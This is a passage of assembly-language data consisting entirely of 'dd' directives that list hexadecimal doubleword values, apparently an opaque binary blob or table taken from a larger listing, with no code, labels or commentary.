6A545104h, 0F5E29BB4h, 15D3E4A8h, 2158EC1Dh dd 2EB589CBh, 540892D8h, 9C260CBDh, 0AC04FA51h, 0BBA349E0h dd 90331487h, 9DDDA825h, 44609019h, 0AB1ED135h, 0D900BF46h dd 8394DA8h, 0CF0D297Fh, 0F676809Ch, 4022B7A2h, 21F21C1Eh dd 67AEAD00h, 234D842h, 6D84FCF3h, 8C6A50A9h, 33B37440h dd 2CF0AB4Ch, 6D64C846h, 0CDF4960h, 70FAC62Eh, 0D19270h dd 5B5D72DFh, 34BBC87Ch, 2531D527h, 0CC925F90h, 29F460BFh dd 4C6E89Ah, 7045C365h, 8684957Eh, 3E2520F2h, 30C0272Bh dd 0B11F9233h, 25F8EF68h, 5819050Dh, 16D9A531h, 3AC816ACh dd 7623FCh, 8AFCA919h, 1D09827Eh, 0A172849Dh, 5441C2ECh dd 0C1242E03h, 46749C66h, 75770F2Bh, 39D48058h, 9261F644h dd 209F267Ch, 60AE08C0h, 648C4549h, 79436094h, 0DED30EF9h dd 8C940E80h, 91C62512h, 7055620h, 0FACC04CBh, 0EEA3300h dd 0D301201Fh, 743957C4h, 28A69F92h, 9C5D0410h, 462400F9h dd 945825E7h, 0DA38008h, 26C40670h, 0F09CC82Ah, 2040805Ch dd 85190050h, 1AD616F1h, 4F030C2Ah, 0C50A7668h, 66200229h dd 0D78FE28Ch, 4023209Eh, 0DFFA06E1h, 6890F964h, 0D46E9C29h dd 341FED08h, 0E084B6D0h, 2A48BA43h, 50DC1BE2h, 1824A871h dd 58A94437h, 0D207535Eh, 7DA38B9Ch, 918CC189h, 7BFD31ECh dd 0ED210187h, 1A46B697h, 8975E482h, 7113D300h, 0A0BE683Dh dd 0D8C2000Ch, 39157BACh, 93A77DDh, 1A2480ADh, 2F7DEF80h dd 550F00D5h, 0DA3067CBh, 0BBE663BCh, 0A1D2B501h, 0BDF5081Eh dd 9E4C06Eh, 671D4832h, 0FE8C204Fh, 0F5FE9Dh, 464EFB45h dd 1FCC8873h, 3C856D07h, 343059E3h, 51481CBh, 0E1CD9F3h dd 4187002Dh, 3AA4E7ECh, 0BFAD9800h, 790ABA54h, 10AF38C6h dd 35C85D80h, 9AD532FDh, 6DAC3A00h, 177207F5h, 0DC4100EFh dd 4A7CC8B2h, 62079680h, 69FDD2BCh, 0D7A3A830h, 3AB09835h dd 27003A8Ah, 0CA68BC22h, 5AEC0481h, 0F6CEA600h, 0D490BE4Eh dd 1E653817h, 1CF9C581h dd 0F802D314h, 3D3ACF76h, 39FF30A6h, 0E703ECh, 0E99C0A7Ah dd 0BD384B6Bh, 745CF00h, 41DC6D92h, 12531226h, 0DFF840D2h dd 7487C125h, 8A6CDA01h, 0C2E527F9h, 368F530h, 6401A62Dh dd 800093FBh, 0BE3FF6A9h, 290C79Fh, 6939C5D8h, 92E0073Bh dd 0C309AC22h, 52A1DAA7h, 9919C490h, 4D5FC085h, 1128244h dd 0B200C9C4h, 0E7FABF5Bh, 915E60A6h, 81FD82A7h, 68A86F00h dd 19A1F3D0h, 62E600B1h, 36E99AD7h, 0C030A0BFh, 3FAD808Dh dd 0C3333914h, 9582208Ah, 0E8B3884h, 1E028998h, 4040B5EFh dd 1F75AF43h, 0F9D43100h, 842321ECh, 0DBD909C8h, 6C51183Fh dd 9C54FB02h, 0E05CF8D1h, 0C0564AACh, 2BDAE664h, 0CCE4CB00h dd 0F7853D9Ch, 0FA4000DDh, 0DCF6C8A4h, 70075D8h, 0C54CA2E5h dd 1664B74h, 68C179A1h, 80913E54h, 2B92BEA0h, 79E97D52h dd 0C4AF0056h, 42857188h, 5C0313C3h, 2DEE3EDFh, 0EB3A88D4h dd 0B39100F4h, 67ECF02Bh, 2624B0ACh, 4D80CCBBh, 4E40E115h dd 22970C35h, 6508344Fh, 0C806B00h, 0C5A70785h, 1F1B3F70h dd 5352F200h, 712559BCh, 12F52C00h, 738CAF1Eh, 0F18F0356h dd 9577D6CEh, 2E32A81Dh, 82B749h, 13158440h, 0B6DE00DFh dd 0ED28BC7h, 56008EC8h, 0B26383F7h, 1CC25h, 0FEE05914h dd 0B4A7D56Ah, 0C8E5ED33h, 0D810F8B3h, 5F5D28A4h, 0A1BB00C3h dd 0B19316E6h, 29C00BEEh, 185F52B5h, 4F3D00ECh, 2CCFFD48h dd 21C0966Bh, 8CDAD32Ah, 0BAFB0F3Bh, 0C904CA73h, 0CB51C3BEh dd 284987CAh, 58302B93h, 1269232h, 113D73EBh, 2B90092Ah dd 0D5303003h, 0E91CA8D7h, 81C11C0Ch, 3687821Bh, 98568C67h dd 0A7CDBE0Fh, 40929272h, 393456F9h, 52978F80h, 0B0AB3F26h dd 0CC160C2Ah, 0D6616B01h, 0AE7E9FF0h, 0CAFEC07Ah, 0BB1CAF75h dd 0A940FAB9h, 3DE05609h, 5FBA03E5h, 0F466F9A7h, 0AFDD7088h dd 0E9A4A80Eh, 598C670Bh, 9180EA60h, 51A53EC7h, 0C881E31Bh dd 0FED8900h, 0C721F4D7h, 32A300B8h, 0E5127557h, 0F2F86E59h dd 1881B200h, 8882E88Ch, 0A22D0145h, 61393B62h, 0CC17CC6Ch dd 2811B007h, 5550B59Fh, 0FEE3BA1Ah, 76C6000Ah, 6810A182h dd 0E9302547h, 0D23211CDh, 0E03B4B9Bh, 8500C51Bh, 7BF31D70h dd 12E2947Fh, 0A08EE14Eh, 0BD014FC0h, 3D77EE26h, 0B0206917h dd 0F10900C8h, 0AD4BA964h, 0FD0054C4h, 191B084Dh, 0D63EB2h dd 17FEC77Eh, 0DB5D609Fh, 591E5100h, 0B03CB843h, 0AD900366h dd 625EA10Ah, 80B434E9h, 3DEE4E98h, 491D214h, 77D568B0h dd 2934D2DDh, 5806456h, 0E325E8F0h, 3D1200F2h, 10EA94A9h dd 0FB03C1A4h, 0EF9DB034h, 6C0FE8E8h, 25600ABh, 5AC382E9h dd 72001E30h, 7D6639B3h, 3DEF8ADh, 95B95CF3h, 0AA983336h dd 0E8C06F2Eh, 73F22AFAh, 15132429h, 11746080h, 64034733h dd 8EF93190h, 209794A2h, 0CF321530h, 0B19850B2h, 11C100CBh dd 4A6D2A6Eh, 3901F8EDh, 0F017E1Fh, 22E0C29Bh, 13C40EDEh dd 0E1A00993h, 92967B46h, 414D3118h, 3EFE3D19h, 0A4C8A4FDh dd 8301E407h, 0EA8511D0h, 0E08305Ah, 201417E0h, 87F7E6h dd 24F43841h, 0BEA8A1h, 0A36D9FFh, 0E2339A5Bh, 3A287C09h dd 4C6C813Bh, 74D881E8h, 19FC0058h, 0E0AB5176h, 0B201ACF5h dd 7CD83392h, 3474F1A9h, 0C9F309FBh, 0B0A0391Bh, 33E3774Bh dd 2A0EDC71h, 60862F65h, 0D414AF8Eh, 97C00095h, 0CF70A7F5h dd 2479CCF2h, 0D626C07h, 0FF0A101h, 7C66017h, 0DD19D437h dd 3C3090BBh, 0BCFEEFD2h, 7FCBF700h, 6A2F4992h, 9412264Dh dd 3205007Dh, 50AC213Ch, 5BDC4404h, 948048C7h, 2490FA56h dd 3C583FBBh, 8DD6D07h, 65DCA0EDh, 551F4410h, 0D6C08D6Ch dd 2D786699h, 0E61B1352h, 0C184072Fh, 7E311096h, 6B1FEA48h dd 5A005471h, 38DBFDBCh, 276A0014h, 0DEE482BFh, 64072374h dd 4C2BABE2h, 0E9559930h, 9FD0016h, 0CEAF1715h, 0DB002EA6h dd 60F92BD1h, 0FCC48B8h, 358E424Eh, 80439EC0h, 1A0347BFh dd 0B21565E5h, 62B99AEh, 0E864ECh, 27417AB9h, 94BD6E72h dd 0F8DF8D03h, 901D49E7h, 0B9BEA4F0h, 64180FD4h, 0EC88A760h dd 7A07513Fh, 0A606E046h, 0E32405B2h, 7492D000h, 8330063h dd 0A09741C0h, 0A8270C03h, 0B474606Ch, 9401004Bh, 0FBAA5B8Ch dd 86255EC1h, 7918A072h, 1CE9C3CAh, 0B72F0Eh, 0D89F5726h dd 6024C01Fh, 4E0EB0ADh, 5F176007h, 525D98h, 0DA957332h dd 4ABCB7Ah, 240B25B0h, 198E909h, 25D1207Bh, 0F8023C39h dd 5A9F4928h, 0FE471856h, 14203426h, 0E073CD99h, 0B2522912h dd 0F1F8201Ch, 1E78A804h, 271B76h, 98012D10h, 0C7921CD9h dd 276780C4h, 6C4D04A0h, 2BB7E13h, 0FE53A301h, 345094B3h dd 954CE5h, 0B2D745E2h, 7818A5C8h, 809EAE3Fh, 634304D8h dd 0CC4D73E5h, 0B4306B41h, 68A3DCF4h, 9983288h, 0A22B2A00h dd 0B12E0308h, 3F7A0095h, 9BE5C8C5h, 0F6001AD1h, 0C1C06B12h dd 0EB35D0F7h, 52A5FC40h, 390D05ACh, 0F25848h, 5FA76CCBh dd 0C3077B4Fh, 93942D33h, 0BF655200h, 131F0042h, 462BA596h dd 3174E2C2h, 4513B0B2h, 30028E0h, 6DF5AB2Ah, 0F7B4339Bh dd 4DD87FA9h, 0CF03EA7Ah, 0A4B8E17Eh, 57380145h, 0F2AE8D2Ch dd 0A7A3F0E0h, 3FBD4705h, 0C0409726h, 0F6AABA2Bh, 0DBED00F8h dd 0CBEEA31Ch, 0DE00C81Eh, 0FC773F68h, 0BB558F2h, 70C40F0Dh dd 0EDD1A0C0h, 2026C62Fh, 7E1D2578h, 1A4E076Dh, 1EB90B9h dd 70D8DFD2h, 0E500D7B2h, 39541B0Eh, 0C047315Dh, 0CDF5B7D9h dd 2406166Ah, 63264D45h, 2EE70051h, 0EBC4891Dh, 0E501B772h dd 1FC7FEF6h, 0F2D36557h, 4C43E931h, 0F87DA0EFh, 0D50A0268h dd 1DDB1923h, 0C21EF880h, 8E2EECD1h, 1B280BE5h, 19764301h dd 97743365h, 7E81898Fh, 70944012h, 0A703E10Ch, 0AB329A03h dd 0BF837279h, 7D526CB1h, 1500D479h, 0F4ED3A26h, 0FD00F857h dd 4B24B15Bh, 0C0786067h, 8E1F1259h, 6100DD2Ah, 57983F2h dd 0C3B142D4h, 7D720690h, 6B582A90h, 0CD73687Bh, 32E67400h dd 9CDFB26Fh, 0F72F0726h, 4E3EB904h, 90017340h, 6000CF07h dd 311CAC45h, 66F47B64h, 21C208F9h, 4509D800h, 0FC189ED2h dd 0C50001Fh, 7595DD85h, 7F013C6Fh, 2098A613h, 1881BD38h dd 37D0901Ch, 6F408102h, 0C522BA1h, 19DA9CFCh, 8C48473h dd 8021BB4Ah, 0B8755193h, 0F0E8349h, 57556C56h, 0DDE9C700h dd 0AF05E438h, 8631016Fh, 0B8525C01h, 20B7052Fh, 6FAC349h dd 808596C9h, 2EADF011h, 7DABDB1Fh, 3B033353h, 21005408h dd 6B2ED4E6h, 0FE884DBh, 6A049E58h, 58D9BB06h, 0C00850C8h dd 0DB602EACh, 8922B346h, 2ECBE700h, 7F0FE558h, 6CDB0C12h dd 0D584744h, 68373F00h, 8AA6109Ah, 63502918h, 450E0398h dd 103EEA0Ch, 682A80BBh, 40C4368Dh, 670A3B34h, 0C3659287h dd 0DDDCE061h, 4D773E7Fh, 69E45A00h, 2734396Dh, 0F6C20091h dd 0A2167CBCh, 0E800ECBEh, 0BA080541h, 4566A5h, 1C6A4487h dd 4D38D452h, 0C639BE00h, 0E8DA148Ah, 0B4660053h, 0CE7E2073h dd 7F004A4Fh, 798E15B5h, 0AEF529h, 0C7D0D950h, 66032314h dd 0FED8F800h, 789686D5h, 0A27200D2h, 5B44B6Eh, 0A0012AACh dd 73841D95h, 0C1C48B22h, 6D7C00D9h, 7E6F67BCh, 0B13DB8E5h dd 0E8CF0040h, 0AD53074h, 0DE1F0046h, 0F0ED6FFBh, 1E727F81h dd 8F13970Fh, 0C6434056h, 0F4B71C96h, 42E03E5h, 6092E623h dd 6E5772D0h, 3B2CB300h dd 0E3FED9B1h, 3BC00F9h, 2DDE823Ah, 4503C27Ah, 8D4E1407h dd 0FDCC886Ch, 0E4740777h, 0F1F93015h, 0E0C2A4D5h, 4D585FC7h dd 0CF3E33h, 23568031h, 347C6E7h, 3B9487F8h, 0AF8FB33h dd 460066D9h, 0A41A2E31h, 2A9217h, 0F182A68Dh, 56EDDD23h dd 4E7C9300h, 4CC6DA43h, 0BFEF0078h, 1E116236h, 0A0076FD0h dd 0F13CF757h, 61E11A30h, 8CA23A76h, 967E6900h, 0FECF6F22h dd 47F34900h, 8B42FCF5h, 531C003Ah, 679B698Dh, 2302CF16h dd 59D1023Eh, 0C48E1Fh, 931E386h, 726E80Fh, 0B9C2A246h dd 0CFE410D5h, 0DD38AB17h, 300133F9h, 328898FCh, 79190F66h dd 7AECB18Ah, 0A0009290h, 8565D239h, 1048EFFh, 0F33D2AEDh dd 0EBCD4696h, 67561780h, 0D7A74D01h, 0C86112C0h, 0C589FC40h dd 5AEF0E64h, 0CFBC6AE3h, 901E63Ah, 30C87FA8h, 4E006BEEh dd 1D0C3246h, 0A14D47h, 82FB87DDh, 260BBFF0h, 35A07B00h dd 16639E84h, 757E0777h, 60C43EBAh, 31CAB928h, 0D6305700h dd 0E6E9CF66h, 0E07F000Dh, 96D3749Eh, 0EB003672h, 377DA59h dd 9FCDB7h, 0AF91E03Dh, 3FC1A8F6h, 0FC2182C0h, 4B420Ch dd 5655C5F5h, 152C9BDFh, 69EC1000h, 12249603h, 0FBD02885h dd 0CE789Ch, 36E7F0B1h, 0AEBB2AECh, 7E435F00h, 5C3438AFh dd 0EFDD0770h, 40D44667h, 0E69E7652h, 0B3DCD300h, 50FA812h dd 0CECF001Dh, 53FE1C2Fh, 806BD87h, 6F3BCA61h, 0F70D2270h dd 89000642h, 7004FCAFh, 0AD0087C9h, 0D6103C7h, 0BE8D7Ah dd 6E4258DDh, 0ED4154A5h, 0BC762305h, 8103698Ah, 0E06B4470h dd 9DCABA6h, 842118D2h, 0D0810011h, 6B0016E0h, 0A6A55431h dd 12211E37h, 4F327112h, 0B0000218h, 0E739EE99h, 4D010AE6h dd 0AD1DD75Eh, 0F07FAE9Ah, 0A33C2652h, 5BBE801Bh, 5AC11601h dd 0A8310440h, 80738538h, 9F52C460h, 0B5000D74h, 3C8AEB1Ch dd 2AC7AEEEh, 881326h, 0FD2A444Ch, 31AAC493h, 2CE77205h dd 0F88024EAh, 0D970F2h, 0D891B99Ch, 519D4C7Dh, 4000D290h dd 0C458EB92h, 0E4A9F827h, 0F6250030h, 0CE036B9Fh, 4F006004h dd 13E063CAh, 16A3EAh, 52BDA169h, 5D6707C6h, 0AEBF4003h dd 0D8B04166h, 0F9263Eh, 12A79839h, 36AA23E5h, 848036DDh dd 0B7E27E37h, 803091CAh, 83857C2Eh, 534CD562h, 84C60428h dd 6EC3F371h, 0BBC00786h, 0D0F6F599h, 65AF2C50h, 5664FD1Eh dd 36DE447h, 6CA71110h, 0E8161EC7h, 719840F2h, 3D5FCE74h dd 3CEFC202h, 0E05E70A2h, 706017Fh, 0D55BA63Fh, 0AD7AB0D9h dd 0C6039E3h, 0FFC0B778h, 9077706Ah, 0AE1E2CFCh, 789B00DAh dd 0F58B5206h, 14280800h, 296B9D84h, 967731h, 0A3B03F5Dh dd 379181C7h, 9542300h, 0ACDF650Bh, 1C0701A4h, 0AA213DBFh dd 0DF3C083h, 88380C00h, 90D587E2h, 0FF6917D7h, 0AA9B0389h dd 77B98211h, 0C1FDE45Ah, 9571BD00h, 4E0366E9h, 1E2720Ch dd 5D6FB9BAh, 348E0FDFh, 0AE037A54h, 7C97D5D3h, 54808CE7h dd 0BAB823h, 2D2F87FDh, 0C510DFA2h, 22C24700h, 0F9DA8D5Ah dd 17CEFh, 5780D752h, 0DD4A05FBh, 6B19CF1Eh, 2951CC0h dd 0ABF666h, 5C67C59Ch, 0CDF1C840h, 4F0062F8h, 3A1DB07Eh dd 38D39C85h, 0B9846110h, 0D39EF8D8h, 60B8ABB8h, 0D0005C6Eh dd 0A1718B1Dh, 580F694h, 50BF44EEh, 84F83Ch, 59398C34h dd 90516E08h, 68240790h, 3014F18Fh, 36A6CAC5h, 75DFF304h dd 0BE801F18h, 3E160DCh, 31436A4Bh, 98928E8Fh, 86255E0h dd 21E66F00h, 1FC6BB80h, 0A2DC1DB4h, 4DD28086h, 13446B3Fh dd 469C6600h, 5A60A0Dh, 2D010034h, 95A13187h, 9CF82B2Eh dd 0E8C65100h, 667A29DCh, 0B08300CBh, 0A9BDFD92h, 8100137Bh dd 50805493h, 7DDA06h, 4825C790h, 94C1E71h, 0FFB53D00h dd 69B66770h, 36C0001h, 71E8BC45h, 0AC00D43Ah, 7849E6FCh dd 9BBEF8h, 43BF2A6Ah, 4C56CFD8h, 6BB7A000h, 50EF9147h dd 8D692E35h, 9B1007E0h, 80D705E1h, 87A2646Bh, 6DA5DC00h dd 44D02F48h, 18590F7h, 2EA1CCE5h, 0F077273Eh, 0F8033031h dd 1E69E811h, 0E3ADABC8h, 0D18F8078h, 0C7E30C6h, 0E8B2C2E0h dd 0AECA301h, 16C38AC1h, 0A0D65034h, 0E31E0EF4h, 0C7BFF4h dd 96BA0A1Ch, 0BD715F43h, 5B39D103h, 0C0D47B4Ah, 567C69h dd 0BC9D8CDEh, 290193C8h, 91B6CF00h, 0EE3B6BFDh, 0E46901EBh dd 3A358741h, 390881B7h, 9891DB4Ah, 0EB0C60EEh, 0EA7D303Ch dd 70F64F39h, 0F0416A00h, 9FFC54F2h, 0D24532B5h, 64686721h dd 4138CFE1h, 572A80AEh, 0E231C6A7h, 59CD00CBh, 0B32F3A4Bh dd 6E240E19h, 2A09B892h, 0C1B48088h, 509E7Ch, 1A55BFDFh dd 0E51D08A1h, 0FAD18100h, 579FE017h, 0C8ED0023h, 3E59E752h dd 3F00FB66h, 962EA44Ah, 6543B2h, 0AA4432A5h, 63BF972Ch dd 0B300C8EAh, 2A31C550h, 0C4C6519h, 2E58C41Bh, 9807D910h dd 9DC55652h, 0C83DA982h, 0FE0A30h, 22CE3D5h, 0DD041612h dd 30DEEA24h, 0B47A300h, 0C0A150CAh, 76F71E39h, 0B899BDE4h dd 0F16C9100h, 303F66EBh, 3E1A1ECBh, 173C15F7h, 0BCB29EB8h dd 0BE8FDC24h, 597BC0B3h, 3933DF58h, 1EF08A63h, 391EB0B8h dd 87280837h, 18698020h, 55013A9Dh, 0E63122ACh, 32E8CA80h dd 0BC5701EEh, 897A3991h, 5092F085h, 3CF9B600h, 0F7B478C7h dd 0B810E28h, 0E8D88A34h, 0A50617ABh, 51C3E2Fh, 34080C91h dd 1F2133EEh, 171680h, 0F6C00770h, 7D026FBAh, 0E30014ECh dd 0B5AD1388h, 5DAA54Fh, 0EA81D9ABh, 0BDA4473Eh, 0EE2D60B9h dd 65610D17h, 7E2F0A08h, 2A2874h, 1B76BBD5h, 2864D6A3h dd 746D3E3Eh, 0F8368602h, 40158EF9h, 3C1C6383h, 3E80C708h dd 32E029EBh, 65382F98h, 0E4B98066h, 18582C37h, 9CB692h dd 2BAE6B46h, 2274A1B8h, 1500C970h, 0AF25EB8Bh, 7F7672Ah dd 45E987B1h, 0DEEE609Ah, 4200E1D9h, 716022FBh, 73407062h dd 691A00F4h, 523E9CD8h, 0C7BDF61h, 0AB4F000h, 0B066F38Bh dd 641E2C14h, 349700FFh, 0F268402Bh, 264F9101h, 5FF43F25h dd 7535FAF0h, 895800BBh, 2152020Ch, 0E1011815h, 76E8A050h dd 3360A72Eh, 3E70183h, 97FB375Bh, 73A0F323h, 470212C4h dd 99263307h, 1D880F1h, 8AF8C1h, 0A70D6AD5h, 0C8B22937h dd 0D7EE7F00h, 4C28F29Ah, 0A53A07E4h, 4163626Ah, 0C481A0BBh dd 0C4A087DCh, 3B15B8EDh, 0DC33F6h, 48B61860h, 810935h dd 0B8C985BAh, 14B1B3D4h, 0FF8F700Ah, 0B4004098h, 0DBC93635h dd 0F57E0095h, 68A8C9Ch, 8FF6DC6Eh, 6548B679h, 853C0048h dd 0D8C0B14Ch, 38923Bh, 874815EFh, 79DDBEABh, 0DC447A00h dd 6C032ED7h, 490102CEh, 0A564DAB4h, 97BE0C40h, 0B6563C13h dd 80595300h, 0E88BAA96h, 0CF160787h, 1779652Ah, 0A32941C9h dd 5D72D464h, 0BC1D7100h, 92C6F849h, 31F98BDh, 0DFE92203h dd 1807E4EEh, 3CD0B58Ah, 3AC265C0h, 0C3BB16ADh, 81371FA1h dd 8E821ACDh, 0B635606Ah, 21B308CCh, 0CD2900F9h, 364C3484h dd 753C5D2Ch, 993980C2h, 0D3B94B05h, 30BAEA9Eh, 0C3082316h dd 7B7F0CADh, 0B3CB8806h, 20307934h, 59C024E1h, 5C8E9DBAh dd 11F660E2h, 0F4C92C23h, 0D99A7D01h, 0E94A7EB6h, 0C08E7860h dd 0D894B920h, 0A3064433h, 0D335A905h, 97760050h, 24B1063Eh dd 0ED368904h, 21601851h, 9380E72Fh, 27D15D8h, 6D4486E9h dd 0D83B00BEh, 0E868BCDBh, 0C10161B9h, 0EF7CE2EAh, 0E00D26Bh dd 8F309A6h, 2D891805h dd 0CE7010E0h, 26E6A002h, 60E5E4E1h, 3BAA6Ch, 17A81D0Ch dd 0B5C96546h, 0DCAE3F00h, 79BF18EAh, 0E526095Bh, 3678E675h dd 0F1FC9D00h, 519BAA2Fh, 1D951D97h, 28D6C035h, 8BBA6317h dd 0A95D0700h, 21FAAC2Eh, 550600CFh, 57B97C54h, 4D00D7D0h dd 0E533152Bh, 0EC4B72h, 55A5BE43h, 5088ACFEh, 0B7EEF403h dd 807412EAh, 0B5FC37h, 53456D6h, 648D33B4h, 140A2F00h dd 0C91CC35Ah, 1DA23A9Eh, 0FF4A9D00h, 60459259h, 7F1FC703h dd 2890E182h, 0BFFD29h, 0F073E623h, 0F1031E3Dh, 80DB21E9h dd 3AB59B20h, 1B2D126h, 145FABCEh, 0D53DE93Fh, 4860B187h dd 31BC10F6h, 0E1BD6406h, 0EF01615Bh, 79FE8BD9h, 78F1BA86h dd 955A1980h, 0DE393D28h, 0E9FD39h, 3E512C32h, 7996561h dd 47CD91AEh, 0C40640ADh, 0D74EC0Fh, 0D9FE6C30h, 0F051B6C3h dd 0C2A0E234h, 0E4C53389h, 411EFB80h, 2F0061EDh, 8EE5FFEh dd 0E9CCECh, 0B25E0547h, 34217E29h, 1C79ED1Eh, 0C13085DEh dd 1DFAB723h, 0C6AAD90Fh, 8D14471h, 0BD79AF60h, 3A02FABFh dd 0F080CF7Eh, 7B84F392h, 99C007FCh, 991D5437h, 0CE7FE2h dd 0AE91E1E4h, 50F1B39Fh, 4301A574h, 0ACBD0A25h, 6050233Ah dd 7064200Ch, 157B022h, 1A46AFD8h, 5086B787h, 8FF09D9Ch dd 0C7ADC005h, 0E83A3BA7h, 0EB00C223h, 2F344B10h, 6138C09Eh dd 0E1688AE6h, 0E0FFBD05h, 8C3A1086h, 0AE00AB23h, 0F1F291D3h dd 508E0018h, 3BCB236Bh, 94F85A9Dh, 4F709667h, 0FAC6B185h dd 3CA900F9h, 0E2ACBB83h, 14331123h, 208B2h, 832B7B21h dd 30E4C876h, 0E9CA4602h, 80B8605Fh, 6CC692ACh, 0C01054DBh dd 3E420082h, 3DE8C2D9h, 19C015FCh, 9FB6C4D0h, 19C6062Dh dd 617235DCh, 39E7F100h, 4A960614h, 0CB11000Eh, 2EF2BBC8h dd 7D079261h, 3A18CFC1h, 0D30D9090h, 13FC305Bh, 0C4E57459h dd 0DDAF5400h, 0A02030F8h, 27A503A3h, 0EF7A6C9h, 7FFC2900h dd 0D587E950h, 0DF93F0C1h, 94C40C58h, 2400D320h, 55CD6350h dd 603445C9h, 699EA13Bh, 0E200BC02h, 2DBEDCC0h, 0AC817F18h dd 51EA04FCh, 62CBE646h, 0B2A420EBh, 9E147E3Ah, 3F2C35D2h dd 9AE60051h, 79D6B16Ah, 11C87DD4h, 65CC13h, 0C1F7EF67h dd 3280ACBCh, 71805939h, 3BA52940h, 865AB714h, 324980E4h dd 0F442BC81h, 0C9256h, 6FBDFF16h, 122CDD01h, 813F663Bh dd 0CF028F8h, 0DBFDA5ACh, 2C34E9E3h, 0CA4824h, 18724954h dd 0DB6035F4h, 50623E30h, 0A9160B8Ah, 34E026A8h, 4B0A6FCh dd 87EF5059h, 20FF6205h, 97218ED1h, 5DE33A00h, 8638BF35h dd 0F650091Ah, 7423CFFEh, 517A06FCh, 468AD413h, 0B960C0AAh dd 56061D51h, 95F1F65Dh, 1C7509E1h, 94188658h, 3211FAB8h dd 0AC88B2D9h, 0FA83E880h, 90776AA0h, 7C3E54D6h, 72E2010Bh dd 0A6F71F9h, 28E9E470h, 2819D824h, 3CCC8D39h, 0E42668C4h dd 33055FF0h, 987629E8h, 9FB8240Ch, 3AB1B9CDh, 19005389h dd 0BAC1F1B5h, 0C200CA08h, 902C62F3h, 26F26014h, 5E0C761Bh dd 1802A546h, 16754104h, 14B15C5Fh, 0E380B4F9h, 601328A2h dd 83C7441Fh, 0C47C91CAh, 6FBB0760h, 9F810043h, 3762AC75h dd 794C6157h, 8C18E824h, 0A867D826h, 248EEA64h, 32C9C084h dd 44F04748h, 99B60FBh, 901503DAh, 3FC9853Ch, 3A04823h dd 87EB5025h, 21C562A4h, 0DF218ABDh, 0B0A84283h, 1B14F4B5h dd 238803DBh, 8308000Dh, 8802ACB7h, 37E54486h, 0A63EA700h dd 0DA8806E0h, 918F018Ch, 0DF6CE94Ch, 0C118131Dh, 11805C86h dd 2EA70820h, 7ACFD898h, 3BB64115h, 0E3F8B064h, 589E3BB8h dd 8E238CC8h, 3CFABA01h, 0AC63E2D9h, 0FA85C79Eh, 97DEFC7Ch dd 0DE5ECD01h, 0A4664F59h, 8C837830h, 7C51EC02h, 16F19BE6h dd 3A94D601h, 0A7EC503Ch, 9015208h, 0E51221CBh, 985B1736h dd 0B0D222C0h, 6C00010Ah, 0E913A4C6h, 0A6447Bh, 354126FCh dd 0B67521BDh, 5F0E7490h, 602EFF5Ah, 64D07EF0h, 209CB958h dd 0EFE22B4h, 31660900h, 9F5CF261h, 0B09CABCEh, 1675B646h dd 8C71A4h, 0D91F3E0Bh, 9007A302h, 435B6757h, 8088F9A5h dd 2B923970h, 3731C080h, 1558A1DDh, 0F013B837h, 8333C348h dd 187AACE9h, 2488870h, 805B8338h, 97F5A935h, 0C22A3B0h dd 14FD6D0Eh, 0F625BC71h, 4B0027DAh, 4F6B2080h, 14049099h dd 783E895Ah, 0D6CF803h, 0F2E98F66h, 88EC4E0Bh, 63A5C7C2h dd 0D5BE9Fh, 456E3BBCh, 936FA864h, 28436069h, 504B7Eh dd 0DFDC8EFFh, 0F69D0A4h, 0CC46C312h, 3F415090h, 2C3300F4h dd 0A18F0D74h, 0F6181EB6h, 0FCD175E2h, 0A8E9C00Ch, 1F868C12h dd 0D8488300h, 0F889D988h, 6FF500EAh, 34E97AB1h, 5A7A5241h dd 0BEC874Fh, 0F0BF6A04h, 0C8D8CB18h, 0DE5DC039h, 0E701A3FDh dd 0BDC2D2Ah, 4842216Dh, 8E9CC0BCh, 0EAB0A434h, 0CA2F03BEh dd 0BDD25FEDh, 23D56CE9h, 1CB02CE4h, 0F087A711h, 7BE6C251h dd 9A10F431h, 0D6003AB8h, 5C53A025h, 28D0C46Fh, 4990659Dh dd 0B680F08Ah, 82D908FAh, 0BE581094h, 0FEFA00AAh, 1CA09590h dd 0CC4B854Bh, 36525843h, 6366B06Ch, 6D8B1618h, 0B9F420DAh dd 3E4C6A34h, 12AD2394h, 87F0047Ch, 0F894D87Dh, 0E430DC89h dd 0ABA008Bh, 0E54DF626h, 17206A2Ch, 0FA1C7319h, 0E7D000D6h dd 980704FEh, 0D504F822h, 41E96DB7h, 30949882h, 8408830Fh dd 64239AACh, 0AED4434Dh, 2083AC3Eh, 90F958A6h, 0CC301822h dd 77E9F16Dh, 47A200B2h, 0B00E956Ah, 0E6EF4433h, 6484F280h dd 0CA3CC21Eh, 0E3EA8001h, 6693E42Bh, 74C900E9h, 9F8D660h dd 500292Ch, 7A8DB5ECh, 3ACA586Ah, 82002217h, 0B375B1D3h dd 2906271Bh, 4609DAFCh, 0EAE050h, 0C51AC351h, 1966798Ch dd 0B8FEC800h, 7C83CE68h, 0EB3A074Eh, 0D03442F7h, 0E5E7F941h dd 98AC8600h, 99D327E9h, 35D90023h, 3065A00Ch, 0FD00955Ah dd 63A1B0E3h, 62DBA87Ch, 0B63571E6h, 736960DDh, 0EA5E3064h dd 5840C818h, 0F52DB300h, 4594B5C6h, 0BAB0396Fh, 0F8FE4919h dd 0E4D08046h, 2FA62EFAh, 91080074h, 9041659Bh, 0E748D6D7h dd 43CD405Dh, 8D9AD03h, 0E0A121D8h, 1420F223h, 8859C911h dd 8A8B4400h, 855E4216h, 3FE4ACA8h, 94867800h, 914670DCh dd 30A1001Ah, 63A48ED2h, 0E81F9820h, 3F0CAA6Ah, 0B064B8EBh dd 0F81D007Fh, 722CC4CBh, 0D34CCF80h, 0EE051A35h, 0AF9800B9h dd 1DA1A08Bh, 6997B65h, 20023E5Dh, 0CA6D0C07h, 3B3181h dd 9AD76674h, 7044006Bh, 0A2C9E658h, 0A0A8E3D8h, 56008DD9h dd 7345C32h, 0E4C045D4h, 125130C4h, 46BD30C9h, 5A77EB07h dd 1A524064h, 0B8E1E32Bh, 0E9141F3h, 64976A3h, 56B02342h dd 73286540h, 0FB4BC806h, 33B9E4F3h, 0D2E98702h, 0F4B7ACC1h dd 72006C60h, 0D17865A4h, 292BF086h, 0F0D8ADh, 4E063975h dd 8C00C083h, 0E7CEDC03h, 3C318ECh, 25072FCFh, 38109381h dd 5080DB97h, 0D027C88Eh, 0D618FB90h, 0B3D184C3h, 0F7AA0064h dd 2E2D543Dh, 9E00227Ch, 9794500Ah, 318ADB48h, 0EA497939h dd 653ECCC3h, 9111B860h, 11B45B1h, 543983B6h, 803E1A6Bh 